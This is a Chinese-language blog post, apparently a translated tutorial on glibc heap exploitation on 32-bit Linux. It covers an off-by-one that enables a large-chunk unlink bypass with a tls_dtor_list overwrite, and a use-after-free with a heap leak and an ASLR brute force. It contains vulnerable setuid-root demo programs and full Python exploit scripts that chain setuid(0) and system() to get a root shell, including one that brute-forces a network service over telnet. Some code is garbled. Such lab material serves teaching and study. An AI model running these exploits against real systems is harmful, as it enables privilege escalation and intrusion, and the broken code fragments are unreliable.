- free函数会触发_int_free() 现在既然栈溢出导致ptr1=0xbffffdf0(而并不是0x804aa08)。那么被覆写的ptr1就会被以参数的形式传给free() ’glibc malloc‘就会释放一片栈中的内存,这片内存的大小的空间将被释放,在ptr1-8+4处的数据就会被覆写为0x30,那么glibc malloc就会认为这里是fast chunk(48<64)并将这片被释放的chunk加到fast bin的最前端,也就是index 4的地方
Line[5]: 返回栈空间(加在第[4]行中)
- malloc 40bytes的请求就会由checked_request2size转化为可用的48字节。既然之前我们在bin list中插入了一个48字节的chunk,那么它就会被返回给用户。chunk本身没什么变化,但是栈空间却在第[4]行中被加入了进来
Line[6]: 覆写返回地址
- 将argv[1]拷到从0xbffffdf0开始的栈空间。argv[1]开头的16字节为:
- \xeb\x0e — 即jmp $14
- \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 – Pad
- \xb8\xfd\xff\xbf – 在栈中保存的返回地址就被这个值给覆盖。因此在fvuln被执行后,pc就会变成0xbffffdb8,这个地址保存了一个jmp $14的指令并且导向了shellcode
目前仍没有相关的protection
基于堆的Off-By-One
重要点重述:由于每个用户的malloc申请,一片堆空间能够被分为许多个chunk。每个chunk都有自己的chunk头(也就是所说的malloc_chunk)。这个数据结构包括如下4个组成部分:(x86情况下header为 8 bytes / x64为 16 bytes)
- prev_size 如果前一个chunk被free了,这个变量保存前一个chunk的大小。否则这个变量保存前一个chunk的用户数据
- size 这个变量保存了这个chunk的大小,最后3个bit作为flag,分别表示:
- PREV_INUSE(P)当前一个chunk被分配时,这个bit为1,否则为0
- IS_MMAPED(M)当这个chunk是被mmap的,这个bit为1
- NON_MAN_ARENA(N)当这个chunk属于main arena时,这个bit为1
- fd指向相同bin中的下一个chunk
- bk指向相同bin中的前一个chunk
```
//consolidate_forward.c
#include
#include #include #include #include <sys/types.h> #include <sys/stat.h> #include
#define SIZE 16
int main(int argc, char* argv[]) {
int fd = open(“./inp_file”, O_RDONLY); /* [1] */ if(fd == -1) { printf(“File open error\n”); fflush(stdout); exit(-1); }
if(strlen(argv[1])>1020) { /* [2] */ printf(“Buffer Overflow Attempt. Exiting…\n”); exit(-2); }
char* tmp = malloc(20-4); /* [3] / char p = malloc(1024-4); /* [4] / char p2 = malloc(1024-4); /* [5] / char p3 = malloc(1024-4); /* [6] */
read(fd,tmp,SIZE); /* [7] / strcpy(p2,argv[1]); / [8] */
free(p); /* [9] */ }
执行
```bash
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
供demo,关闭了ASLR,ASLR绕过参见之前内容 第[2]行和第[8]行可能造成Off-by-one的漏洞,造成任意代码执行,这是如何做到的呢? 可以覆写到下一个chunk(p3)的header中的size,造成p3的size的最低位变为0(注意不是prev_size因为堆是8字节对齐的) 因此当用户请求1020字节大小的chunk时,实际上会分配1024 bytes大小的chunk。
因此当malloc(1020)被执行的时候,用户申请的1020字节会被转为分配1024字节。但是chunk header又会占用掉8个字节的内容,那么最后剩下的不是又只有1016个字节了么?用户申请的空间好像分配不够。但是正如之前所说,prev_size在前一个chunk未被free的时候会保存用户数据,而它正好就保存的是这里需要保存的额外4字节数据。这也就是为什么\x00会被覆写到下一个size的最低位而不是prev_size最低位的原因。
那么回到开始的问题:如何进行任意代码执行呢?
现在我们知道下一个size域的最低一个字节被覆盖为了0,也就是它的3个flag位变为了0,因此实际上p2就被认为是被free了,而不是仍处于被分配的状态了。这种不一致性就会让glibc malloc 在p1被free的时候unlink掉仍在被使用的p2。
由之前的章节可知,unlink一个仍在被使用的chunk可能导致任意代码执行,因为任意4字节(x86)的内容可以被覆写为攻击者的数据。但随着glibc的进步,unlink的技术已经过时。正是因为其中对”corrupted double linked list”的检查让上述任意代码执行失效。
但是在2014年底,Google的project zero team发现通过unlink一个large chunk,可以成功绕过corrupted double linked list
Unlink
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
// Primary circular double linked list hardening - Run time check
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
// If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
FD->bk = BK; /* [2] */
BK->fd = FD; /* [3] */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// Secondary circular double linked list hardening - Debug assert
assert (P->fd_nextsize->bk_nextsize == P); /* [4] */
assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
}
}
}
}
在glibc malloc中,首要的circular double linked list靠malloc_chunk中的fd和bk来维护,而第二个circular double linked list则靠malloc_chunk中的fd_nextsize 和 bk_nextsize来完成。 看上去corrupted double linked list靠这两轮检查加强了保护,但实际上第二轮的检查实际上只是一个debug的声明陈述(而并不像是第一轮那样的一个运行时检查),实际上也不会被编译成产品级的运行结构(至少在fedora x86上是这样的)。因此实际上第二道检查并没有任何作用,我们仍然可以在unlink环节向任意地址写入4字节内容。
那么接下来看malloc large chunk是如何绕过这个检查的,在free掉这个large chunk之前,攻击者需要按如下方式覆写malloc_chunk中的这些元素:
- fd要指回被释放的chunk的地址,从而绕过第一个circular doubled linked list的检查
- bk也是如此
- fd_nextsize覆盖为free_got_addr-0x14
- bk_nextsize覆盖为system_addr 但是这里有遇到了问题,free在got表中的地址是可以修改的没错,但是system地址处的代码却是无法写的,那么就可以通过覆写tle_dtor_list的办法来完成攻击:
覆写tls_dtor_list: tls_dtor_list是一个线程私有的变量,包含了一系列的函数指针,这些函数将在触发exit()时被依次执行。另一个变量__call_tls_dtors 将会一次遍历这个list并一次出发这些函数,因此如果我们能够将这个list变量覆写为一个包含了system()和system_arg对应dtor_list的func和obj的堆,这样就可以调用system函数了
因此现在攻击者就要按如下的方式覆写掉将被free的large chunk的malloc chunk的元素:
- fd、bk与之前一样
- fd_nextsize指向tls_dtor_list-0x14
- bk_nextsize应该指向包含一个dtor_list的堆地址 同样fd_nextsize指向的地方应该可写也是可以解决的:通过反汇编__call_tls_dtors()可以得到tls_dtor_list属于libc.so中可写的segment,并且可得tls_dtor地址在0xb7fe86d4。 bk_nextsize由于指向堆地址,显然是可写的
下面为获得普通shell代码
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
由于bash在uid!=euid时会降低权限。我们运行的程序实际上的uid是1000而不是root的0.因此为了解决这个问题,我们应该在运行system之前再调用一次setuid(0) 又因为__call_tls_dtors()遍历tls_dtor_list,我们只需要将setuid()和system()按顺序连起来就可以获得root shell了
#gen_file.py
#!/usr/bin/env python
import struct
#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430
#endianess convertion
def conv(num):
return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)
print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
这样一个vuln code会向前合并chunks,同样的,chunk也可以向后合并,同样也可以利用这个方法来exp 注意:好像这个_call_tls_dtor()函数在ubuntu上是没有的。。
UAF
在释放一个chunk之后再调用这个chunk的指针的行为称为Use-After-Free,可能导致任意地址代码的执行
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
与之前的内容不同的是,这里开启了ASLR,我们可以使用信息泄露和暴力的手段绕过ASLR。 上面的vuln code中包含了line[6]和line[13]两处UAF。它们相应的heap内存在line[5]和line[10]处被释放掉,但是在这两行里面又被调用。第[6]行的UAF导致信息的泄露,第[13]行的UAF导致了任意代码的执行。
那么攻击者是如何导致信息泄露的呢?
在我们代码的第[6]行,被泄露的信息为heap的addr。这能帮助攻击者很容易计算出随机化的heap段基址,也就是绕过了ASLR
- 第[1]行首先分配了一个16字节的空间给’name’
- 第[2]行又分配了16字节给’details’
- 第[3]行将输入的参数(argv[1])拷贝到了’name’指向的堆空间中
- 第[4]和[5]行将’name’&’details’堆空间释放,返回给了glibc malloc
- 第[6]行输出’name’指向的内容,这会导致heap地址的泄露
由另一篇内容’Understanding glibc malloc’中的内容可知,我们malloc的这两个堆都是fast chunk,而且当它们被释放时会被加入到fast bins的下标0的binlist中。而我们又知道,fast bin采用单链表结构,因此我们有如下的示例:
main_arena.fastbinsY[0] -> ‘name_chunk_address’ -> ‘detail_chunk_address’ -> NULL
由于单链表结构的存在,’name’指针指向的是下一个被free的’detail’的地址。因此在输出printf(“Welcome %s\n”,name);时,会将’detail’的堆地址输出来,通过内存分布我们就很容易可以计算出’detail’的位置相对于heap base的偏移为0x10了,这样将输出的值减去0x10,就可以得到heap base地址了。
那么又如何执行任意代码呢?
- 第[7]行给tmp分配了16字节的堆空间
- 第[8]行给p1分配了1024 bytes
- 第[9]行给p2分配了1024 bytes
- 第[10]行将p2释放还给glibc malloc
- 第[11]行给p2_1分配512 bytes
- 第[12]行给p2_2分配512 bytes(506 bytes 向上补齐)
- 第[13]行在p2被释放之后使用read向里面写内容
- 第[14]行将p1释放还给glibc malloc,这会在程序退出时导致任意代码执行
释放p2,又在这基础上分配了p2_1和p2_2,还可以造成一个堆溢出,这样攻击者就可以覆盖到p2_2的header,尤其是其中的 size 域了。
那么又如之前的内容所说,如果一个攻击者能够覆写到下一个chunk的size域的LSB,他就能在p2_1即便没有被free的情况下被glibc malloc给unlink掉。同时,我们可以看到unlink掉一个仍处于分配状态下的large chunk可能让攻击者精心构造一个假的chunk header导致任意代码执行。 攻击者可以按如下方式构造:
- fd 应该指回被释放的chunk地址。从我们调试时观察内存分布可知此时的p2_1偏移在0x410,也就是fd应等于堆基址+0x410
- bk也应该指向和fd相同的地方
- fd_nextsize应该指向tls_dtor_list-0x14。但是由于tls_dtor_list属于glibc的私有匿名段,受到ASLR影响,因此这里我们使用brute force来解决
- bk_nextsize应该指向heap地址中包含dtor_list元素的地方。’system’ 的dtor_lIst会在这个假的header之后被攻击者注入到其中。system 和 dtor_list 的地址都可以通过基址+偏移(分别是0x428和0x618)得到 ``` python #exp.py #!/usr/bin/env python import struct import sys import telnetlib import time
ip = ‘127.0.0.1’ port = 1234
def conv(num): return struct.pack(“<I”,num) def send(data): global con con.write(data) return con.read_until(‘\n’)
print “** Bruteforcing libc base address**” libc_base_addr = 0xb756a000 fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0 system = libc_base_addr + 0x3e6e0 system_arg = 0x80482ae size = 0x200 setuid = libc_base_addr + 0xb9e30 setuid_arg = 0x0
while True: time.sleep(4) con = telnetlib.Telnet(ip, port) laddress = con.read_until(‘\n’) laddress = laddress[8:12] heap_addr_tup = struct.unpack(“<I”, laddress) heap_addr = heap_addr_tup[0] print “** Leaked heap addresses : [0x%x] **” %(heap_addr) heap_base_addr = heap_addr - 0x10 fd = heap_base_addr + 0x410 bk = fd bk_nextsize = heap_base_addr + 0x618 mp = heap_base_addr + 0x18 nxt = heap_base_addr + 0x428
print “** Constructing fake chunk to overwrite tls_dtor_list” fake_chunk = conv(fd) fake_chunk += conv(bk) fake_chunk += conv(fd_nextsize) fake_chunk += conv(bk_nextsize) fake_chunk += conv(system) fake_chunk += conv(system_arg) fake_chunk += “A” * 484 fake_chunk += conv(size) fake_chunk += conv(setuid) fake_chunk += conv(setuid_arg) fake_chunk += conv(mp) fake_chunk += conv(nxt) print “ Successful tls_dtor_list overwrite gives us shell!!**” send(fake_chunk)
try: con.interact() except: exit(0)
因为中间有一部分需要暴力破,当程序是运行在服务器端口上时,我们可以写下列这个bash脚本来循环进行直到get shell:
``` bash
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
2017.9.25:目前只是翻译完了一遍,里面的一些套路,的确值得我再多去回味,之后再结合相关练习基础上会进行malloc和free的源码阅读,wish me good luck。7 7
7